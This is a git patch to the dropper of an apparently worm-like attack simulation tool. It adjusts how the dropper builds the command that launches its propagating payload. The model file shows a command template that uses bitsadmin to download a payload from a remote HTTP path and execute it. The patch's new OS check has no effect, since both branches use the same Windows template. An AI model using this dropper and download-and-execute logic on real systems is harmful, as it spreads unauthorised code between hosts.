From 332a11b2723f962c53f26643288fc887c01da703 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 28 Aug 2017 09:41:27 +0300 Subject: [PATCH] minor fix in dropper --- chaos_monkey/dropper.py | 17 ++++++++++------- chaos_monkey/model/__init__.py | 2 ++ 2 files changed, 12 insertions(+), 7 deletions(-) diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index 15870e2da..070c46751 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -10,6 +10,7 @@ import argparse from ctypes import c_char_p from model import MONKEY_CMDLINE from config import WormConfiguration +from system_info import SystemInfoCollector, OperatingSystem if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -92,19 +93,21 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'], - } + if OperatingSystem.Windows == SystemInfoCollector.get_os(): + monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path']} + else: + monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path']} if self.opts.parent: - monkey_cmdline += "-p %s" % self.opts.parent + monkey_cmdline += " -p %s" % self.opts.parent if self.opts.tunnel: - monkey_cmdline += "-t %s" % self.opts.tunnel + monkey_cmdline += " -t %s" % self.opts.tunnel if self.opts.server: - monkey_cmdline += "-s %s" % self.opts.server + monkey_cmdline += " -s %s" % self.opts.server if self.opts.depth: - monkey_cmdline += "-d %s" % self.opts.depth - + monkey_cmdline += " -d %s" % self.opts.depth + monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) diff --git a/chaos_monkey/model/__init__.py b/chaos_monkey/model/__init__.py index 67c06bf47..1e835cfb5 100644 --- a/chaos_monkey/model/__init__.py +++ b/chaos_monkey/model/__init__.py @@ -5,7 +5,9 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) +# TODO: rename to WINDOWS/LINUX appropriately MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) +MONKEY_CMDLINE_LINUX = './%%(monkey_path)s %s' % (MONKEY_ARG, ) DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )